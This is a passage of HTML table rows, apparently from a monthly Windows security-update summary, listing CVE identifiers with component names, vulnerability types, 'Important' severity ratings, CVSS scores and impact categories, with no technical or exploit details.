  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
